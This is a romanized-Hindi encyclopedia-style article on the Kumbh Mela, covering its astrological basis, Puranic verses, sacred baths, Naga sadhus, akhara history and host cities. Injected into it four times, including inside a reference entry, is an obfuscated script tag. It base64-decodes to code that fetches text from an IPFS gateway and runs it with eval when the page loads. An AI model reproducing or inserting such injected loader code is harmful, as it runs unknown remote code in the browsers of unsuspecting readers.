tatoan par sampann hone vale parvoan ne bhaugolik evan samajik ekata ko pragadhata pradan ki hai. hazaroan varshoan se chali a rahi yah parampara roodhivad ya aandhashraddha kadapi nahian kahi ja sakati kyoanki is mahaparv ka sanbadh sidhe taur par khagoliy ghatana par adharit hai. saur mandal ke vishisht grahoan ke vishesh rashiyoan mean pravesh karane se bane khagoliy sanyog is parv ka adhar haian. inamean kumbh ki raksha karane vale char sootradhar soory, chandrama, guru evan shani ka yog in dinoan mean kisi na kisi roop mean banata hai. yahi vishisht bat is sanatan lokaparv ke prati bharatiy janamanas ki astha ka dridhatam adhar hai. tabhi to sadiyoan se chala a raha yah parv aj sansar ke vishalatam dharmik mele ka roop le chuka hai.
skand puran mean kumbh
is sandarbh mean ghatane vali khagoliy sthiti ka ullekh skand puran mean kuchh is prakar hai-
padmini nayake meshe kumbharashi gate gurau.
ganga dvare bhavedyogah kumbhanamratadottamah॥
[[chitr:Kumbh Mela .jpg|thumb|pipoan ka pul (p aauntoon pul), kumbh mela, ilahabad|left]] jisaka arth hai ki soory jab mesh rashi mean aye aur brihaspati grah kumbh rashi mean ho tab gangadvar arthath haridvar mean kumbh ka uttam yog hota hai. aise shreshth avasar par sampoorn bharat ke sadhu-sannyasi, b de b de mathoan ke mahant aur pithadhish aur darshan shastr ke adhyeta vidvanh haridvar mean ekatr hote haian. inake alava samaj ke sabhi vargoan ke log chhote b de, amir garib, b de boodhe, stri purush bhi yahaan ate haian. is pavan avasar par janamanas ki aisi vishalata aur vividhata ko dekhakar vishvas hota hai ki vastav mean mahakumbh hi amrit sadhana ka mahaparv hai.
jyotishiy drishtikon
samudr manthan ki katha mean kaha gaya hai ki kumbh parv ka sidha sambandh taroan se hai. amrit kalash ko svarg lok tak le jane mean iandr ke putr jayant ko 12 din lage. devoan ka ek din manushyoan ke 1 varsh ke barabar hai isilie taroan ke kram ke anusar har 12vean varsh kumbh parv vibhinn tirth sthanoan par ayojit kiya jata hai. pauranik vishleshan se yah saf hai ki kumbh parv evan ganga nadi apas mean sambandhit haian. ganga prayag mean bahati haian parantu nasik mean bahane vali godavari ko bhi ganga kaha jata hai, ise ham gomati ganga ke nam se bhi pukarate haian. kshipra nadi ko kashi ki uttari ganga se pahachana jata hai. yahaan par ganga gangeshvar ki aradhana ki jati hai. is tathy ko brahm puran evan skand puran ke 2 shlokoan ke madhyam se samajhaya gaya hai-
" vindhyasy dakshine ganga gautami sa nigadyate uthtare sapi vindhyasy bhagiratyabhidhiyate . "
" ev mukhtva gata ganga kalaya van sansthita gangeshhvaran tu yah pashyet snatva shiprambhasi priye. "
jyotishiy ganana ke anusar kumbh ka parv 4 prakar se ayojit kiya jata hai :
- 1. kumbh rashi mean brihaspati ka pravesh hone par evan mesh rashi mean soory ka pravesh hone par kumbh ka parv haridvar mean ayojit kiya jata hai.
" padhmini nayake meshe kumbh rashi gate guroah . ganga dvare bhaved yogah kumbh nama tathottamaah.. "
- 2. mesh rashi ke chakr mean brihaspati evan soory aur chandr ke makar rashi mean pravesh karane par amavasya ke din kumbh ka parv prayag mean ayojit kiya jata hai.
" mesh rashi gate jive makare chandr bhaskarau . amavasya tada yogah kumbhakhyastirth nayake .. "
ek any ganana ke anusar makar rashi mean soory ka evan vrish rashi mean brihaspati ka pravesh honean par kumbh parv prayag mean ayojit hota hai.
- 3. sianh rashi mean brihaspati ke pravesh hone par kumbh parv godavari ke tat par nasik mean hota hai.
" sianh rashi gate soorye sianh rashau brihaspatau . godavarya bhavet kumbhoan jayate khalu mukhtidah .. "
- 4. sianh rashi mean brihaspati evan mesh rashi mean soory ka pravesh hone par yah parv ujjain mean hota hai.
" mesh rashi gate soorye sianh rashau brihaspatau . ujjiyanyaan bhavet kumbhah sadamukhti pradayakah .. "
pauranik granthoan jaise naradiy puran (2/66/44), shiv puran (1/12/22/-23) evan varah puran (1/71/47/48) aur brahma puran adi mean bhi kumbh evan arddh kumbh ke ayojan ko lekar jyotishiy vishleshan upalabdh hai. kumbh parv har 3 sal ke aantaral par haridvar se shuroo hota hai. kaha jata hai ki haridvar ke bad kumbh parv prayag, nasik aur ujjain mean manaya jata hai. prayag aur haridvar mean manaye jane vale kumbh parv mean evan prayag aur nasik mean manaye jane vale kumbh parv ke bich mean 3 saloan ka aantar hota hai.[6]
kumbh ke anushthan
[[chitr:Aarti-Kumbh-Mela-Haridwar.jpg|thumb|250px|arati kuanbh mela, haridvar]] kumbh mela, vishv ka sabase vishal ayojan hai jisamean alag alag jati, dharm, kshetr ke lakhoan log bhag lete haian. kumbh bharatiyoan ke mastishk aur atma mean racha-basa hua hai. aisi manyata hai ki kumbh mean snan karane se sare pap door ho jate haian aur manushy jivan maran ke bandhan se mukt ho jata hai. yahaan par any gatividhiyaan, dharmik charcha, bhakti gayan ka ayojan kiya jata hai jisamean purush, mahilaean, dhani, garib sabhi log bhag lete haian.
- kumbh mela sabhi hiandoo tirth mean pavitr mana jata hai. lakhoan pavitr purush aur mahilaean (sant aur sadhu) vishvas ke is pratik mean bhag lete hai .
- is pavitr sthal ne logoan ke man mean vishvas prapt karake aantararashtriy khyati prapt ki hai. prasiddh prachin yatri, chin ke hven saang pahale vyakti the jinhoanne kumbh mele ka ullekh apani dayari mean kiya tha. unaki dayari hindoo mahine magh (janavari - pharavari) ke 75 dinoan ke utsav ka ullekh hai, jisako lakhoan sadhuoan, am adami, amir aur rajaoan ne dekha hai.
- jati, dharm, kshetr ke sabhi saansarik badhaoan ke bavajood, kumbh mela ka prabhav am bharatiyoan ke mastishk aur kalpanaoan par hai. itihas mean kumbh mela lakhoan logoan ke ekatr hone ke lie prasiddh hai. samay ke sath kumbh hiandoo sanskriti aur astha ka ek keandr ban gaya hai. vibhinn dharm aur sampraday ke log is laukik ayojan mean sammilit hote haian.[7]
shahi aur pavitr snan
[[chitr:Kumbh-Vrindavan-Mathura-2.jpg|thumb|left|kumbh mele par bhandare ka ayojan, vrindavan]] makar sankrati se prarambh hokar vaishakh poornima tak chalane vale haridvar ke mahakumbh mean vaise to har din pavitr snan hai phir bhi kuchh divasoan par khas snan hote haian. isake alava tin shahi snan hote haian. aise maukoan par sadhu santoan ki gatividhiyaan tirthayatriyoan aur paryatakoan ke akarshan ka kendr hoti hai. kumbh ke mauke par terah akha doan ke sadhu-sant kumbh sthal par ekatr hote haian. pramukh kumbh snan ke din akha doan ke sadhu ek shanadar shobhayatra ke roop mean shahi snan ke lie har ki pau di par ate haian. bhavy juloos mean akha doan ke pramukh mahantoan ki savari saje dhaje hathi, palaki ya bhavy rath par nikalati haian. unake age pichhe susajjit ooant, gho de, hathi aur baian d bhi hote haian. haridvar ki s dakoan se nikalati is yatra ko dekhane ke lie logoan ke hujoom ikatthe ho jate haian. aise mean in sadhuoan ki jivan shaili sabake man mean kautoohal jagati hai visheshakar naga sadhuoan ki, jo koee vastr dharan nahian karate tatha apane sharir par rakh lagakar rahate haian. marg par kh de bhaktagan sadhuoan par phooloan ki varsha karate haian tatha paise adi chadhate haian. yah yatra vibhinn akha da parisaroan se prarambh hoti hai. vibhinn akha doan ke lie shahi snan ka kram nishchit hota hai. usi kram mean yah har ki pau di par snan karate haian.
ganga snan aur poojan ka mahattv
ganga nadi hianduoan ke lie devi aur mata saman hai. isilie hianduoan ke lie ganga snan ka bahut mahatv hai. ganga jivan aur mrityu donoan se judi़ huee hai isake bina hiandoo sanskar adhoore haian. gangajal amrit saman hai. ilahabad kuanbh mean ganga snan, poojan ka alag hi mahatv hai. anek parvoan aur utsavoan ka ganga se sidha sanbandh hai makar sankrati, kuanbh aur ganga dashahara ke samay ganga mean snan, poojan, dan evan darshan karana mahattvapoorn mana gaya hai. gangaji ke anek bhakti granth likhe ge haian jinamean shrigangasahasranamastotram evan ganga arati bahut lokapriy haian. ganga poojan evan snan se riddhi-siddhi, yash-samman ki prapti hoti hai tatha samast papoan ka kshay hota hai. manyata hai ki ganga poojan se maangalik dosh se grasit jatakoan ko vishesh labh prapt hota hai. ganga snan karane se ashubh grahoan ka prabhav samapt hota hai. amavasya din ganga snan aur pitaroan ke nimit tarpan v piandadan karane se sadagati prapt hoti hai aur yahi shastriy vidhan bhi hai. hiandoo dharm mean aisi manyata hai ki kuanbh sthal ke pavitr jal mean snan karane se manushy ke sare pap-kasht dhul jate haian aur moksh ki prapti hoti hai. gangaji mean snan karane se satvikata aur punyalabh prapt hota hai.[8]
naga sadhuoan ka roop
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kumbh mele mean shaivapanthi naga sadhuoan ko dekhane ke lie bhi d um d p dati hai. naga sadhuoan ki rahasyamay jivan shaili aur darshan ko janane ke lie videshi shraddhalu jyada utsuk rahate haian. kumbh ke sabase pavitr shahi snan mean sabase pahale snan ka adhikar inhean hi milata hai. [[chitr:Kumbh Mela Vrindavan Mathura 2.jpg|thumb|naga sadhu, kumbh mela, vrindavan]]naga sadhu apane poore sharir par bhabhoot male, nirvastr rahate haian. unaki b di-b di jataean bhi akarshan ka keandr rahati hai. hathoan mean chilam lie aur charas ka kash lagate hue in sadhuoan ko dekhana ajib lagata hai. mastak par a da bhabhoot laga, tinadhari tilak laga kar dhooni rama kar, nagn rah kar aur gufaoan mean tap karane vale naga sadhuoan ka ullekh pauranik granthoan mean bhi milata hai. yah sadhu ugr svabhav ke hote haian. naga jivan ki vilakshan paranpara mean dikshit hone ke lie vairagy bhav ka hona zaroori hai. sansar ki moh-maya se mukt kathor dil vala vyakti hi naga sadhu ban sakata hai. sadhu banane se poorv hi aise vyakti ko apane hathoan se hi apana hi shraddh aur piand dan karana hota hai. akha de kisi ko asani se naga roop mean svikar nahian karate. bakayada isaki kathor pariksha li jati hai jisamean tap, brahmachary, vairagy, dhyan, sannyas aur dharm ka anushasan tatha nishtha adi pramukhata se parakhe-dekhe jate haian. kathor pariksha se gujarane ke bad hi vyakti sannyasi jivan ki uchchatam tatha atyant vikat paranpara mean shamil hokar gaurav prapt karata hai. isake bad inaka jivan akha doan, sant paranparaoan aur samaj ke lie samarpit ho jata hai.[9]
ekasootr ki kalpana
kumbh mele ke itihas ke shodharthiyoan ka manana hai ki prachin sanskrit vanmay ke adhyayan se aisa nahian pratit hota ki prayag, haridvar, nasik aur ujjain, in charoan sthanoan par kumbh meloan ka sootrapat kisi ek kendriy nirnay ke antargat, kisi ek samay par, ek sath kiya gaya hoga. kumbh ki parampara ka kramash: vikas hua lagata hai. aisa pratit hota hai ki ye charoan sthan apane-apane karanoan se pavitr tirthasthal mane jate the. godavari, kshipra, ganga aur sangam ke pavitr tat par kinhian puny rashiyog par snan ke nimitt mele ki parampara pahale se chali a rahi thi, jinhean age chalakar ek pauranik katha ke madhyam se ek shrriankhala mean piro diya gaya. kintu jisane bhi kiya, jab bhi kiya, usake pichhe bharat ki saanskritik chetana aur ekata ko jagrat v sudridh karane ki drishti avashy vidyaman thi. prachalit dharana ke anusar char sthanoan par kumbh parampara praranbh karane ka shrey bhi adi shankarachary ko hi diya jata hai. yah sahaj lagata hai; kyoanki adi shankarachary ne bharat ke char konoan par char dhamoan ki sthapana ki, jisake karan char dham ki tirthayatra ka prachalan hua. kaha jata hai ki unhoanne hi bharat ki sant-shakti ko giri, puri, bharati, tirth, van, arany, parvat, ashram, sagar tatha sarasvati namak das varnoan mean gathit kiya aur bharatiy samaj ke pratyek varg mean dharm-chetana jagane ka dayitv unhean sauanpa.[10]
jadunath sarakar ka kathan
suprasaddhi itihasakar jadunath sarakar gahare shodh ke pashchath is nishkarsh par pahuanche ki kumbh parampara ka koee praman barahavian shatabdi se pahale nahian milata. kumbh mele ka sabase b da vaishishty hai, vahaan vibhinn sadhu sampradayoan ke akha doan ki upasthiti. shaiv, vaishnav aur udasin sampradayoan ke sadhu anek akha doan aur mathoan man sangathit haian. pratyek akha de ke apane pratik chihn aur dhvaj-pataka hoti hai. kumbh ke mele mean pratyek akha da apane dhvaj aur pratikoan ke sath upasthit hota hai, vahaan unaki apani chhavani hoti hai, jisake bichoan-bich bahut ooanche stambh par unaka dhvaj phaharata hai. in akha doan ke sadhu shastradhari hote haian. unaki rachana ekadam sainik paddhati par hoti hai. unamean shastr aur shastr ka adbhut sangam hota hai. ye sadhu saansarik jivan se virakt aur avivahit hote haian. unaki dinacharya bahut kathor hoti hai. shastradhari hote hue bhi ve sannyas margi tapasvi hote haian. yadi in akha doan mean prachalit shabdavali ki or dhyan dean to vah muslim kal ki sainik shabdavali hai. kumbh ke mele mean mukhy akarshan in akha doan ka snan hi hota hai. use "shahi snan" kahate haian. pratyek akha de ke pramukh mahant rath par savar hote haian. unake dayean-bayean aur age nirvastr khadgadhari ghudasavar chalate haian, turahi naga de ka bheri nad hota hai. [[chitr:Kumbh-Vrindavan-Mathura-1.jpg|thumb|left|kumbh mele mean bhajan-kirtan karate shraddhalu, vrindavan]] saval yah hai ki in sansar tyagi virakt sadhuoan ko shastr dharan karane aur sainik sangathan paddhati apanane ki avashyakata kab aur kyoan p di? mugal badashah babar ke poorvaj taimoor ki atmakatha ke anusar taimoor ne san 1394 mean haridvar ke kumbh mean kee sahasr tirthayatriyoan ki akaran hi nirmam hatya kar di thi. jisase vidit hota hai ki un dinoan hinduoan ki tirth yatra bhi surakshit nahian bachi thi. spasht hai, nihatthe hindoo samaj ki raksha ke lie sadhu-santoan ko moksh-sadhana ke sath-sath shastr dharan bhi karana p da hoga. muslim shasakoan ke atyacharoan ke viruddh sashastr sangharsh karane aur hindoo samaj ko apani dharmik asthaoan ka nirvighn palan karane hetu sanrakshan dene ka bi da sadhu samaj ne uthaya hoga. shastr dharan karane ki disha mean pahale naga sadhu age badhe. kumbh meloan ki suraksha ka dayitv ve hi sanbhalate the. bahut bad mean ramanandi sampraday ke vaishnav vairagiyoan ne bhi shastr dharan karane ka nirnay liya. yah nirnay san 1713 mean jayapur ke samip 'galta' namak sthan par mahant ramanand ke math mean liya gaya. jayapur naresh savaee jayasianh ka nam bhi is ghatana ke sath jo da jata hai. isamean sandeh nahian ki us savaee jayasianh ne bahut kushalata ke sath ek or mugal badashahoan ka vishvas prat karake hindoo tirth sthanoan par 'jayasianhapura' namak kendr sthapit kie aur unamean ramanandi sampraday ke nirmohi akha do ko pravesh diya. ayodhya mean nirmohi akha de ki bhoomika isi prakar praranbh huee doosari or jayasianh ne sabhi hindoo shaktiyoan, jaise marathe, bundele aur banda bairagi se sambandh sthapit kar unhean yathashakti sahayata dene ka prayas kiya. peshava bajirav pratham ki malava par vijay aur adhikar dilane mean savaee jayasianh ki nirnayak bhoomika thi.[10]
ayojan ke sthan
[[chitr:Kumbh-Vrindavan-Mathura-11.jpg|thumb|250px|kumbh mela, vrindavan]] hiandoo dharmagranthoan ke anusar iandr ke bete jayant ke gh de se amrit ki booande bharat mean char jagahoan par giri- haridvar, ujjain, nasik aur prayag. haridvar mean ganga nadi mean, ujjain mean shipra nadi mean, nasik mean godavari aur prayag (ilahabad) mean ganga, yamuna aur sarasvati ke sangam sthal par. haridvar uttarakhand mean, prayag uttar pradesh mean sthit hai to nasik maharashtr mean. ujjain madhy pradesh ke madhy mean sthit hai. dharmik vishhvas ke anusar kumbh mean shraddhapoorvak shnan karane vale logoan ke sabhi pap kat jate haian aur unhhean moksh ki prapti hoti hai. [11]
kumbh mela 2013
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
'kumbh mela 2013' ilahabad mean 14 janavari se 10 march ke bich ayojit kiya jayega.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
- chitr:Kumbh-Vrindavan-Mathura-14.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Mela-Vrindavan-Mathura-9.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-10.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-12.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-23.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-18.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-21.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-7.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-8.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-3.jpg
kumbh mela, vrindavan
- chitr:Kumbh-Vrindavan-Mathura-32.jpg
kumbh mela, vrindavan
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 kumbh 2013 (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 7 janavari, 2013.
- ↑ ilahabad kumbh mela : triveni sangam par hi kyoan snan parv (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 7 janavari, 2013.
- ↑ hindoo dharmakosh |lekhak: d aau. rajabali pandey |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 190 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kumbh parv chakr (hiandi) kumbh mela (adhikarik vebasait). abhigaman tithi: 10 janavari, 2013.
- ↑ prayag kumbh mela 2013 (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 7 janavari, 2013.
- ↑ jyotishiy drishtikon (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 8 janavari, 2013.
- ↑ kumbh ke anushthan (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 8 janavari, 2013.
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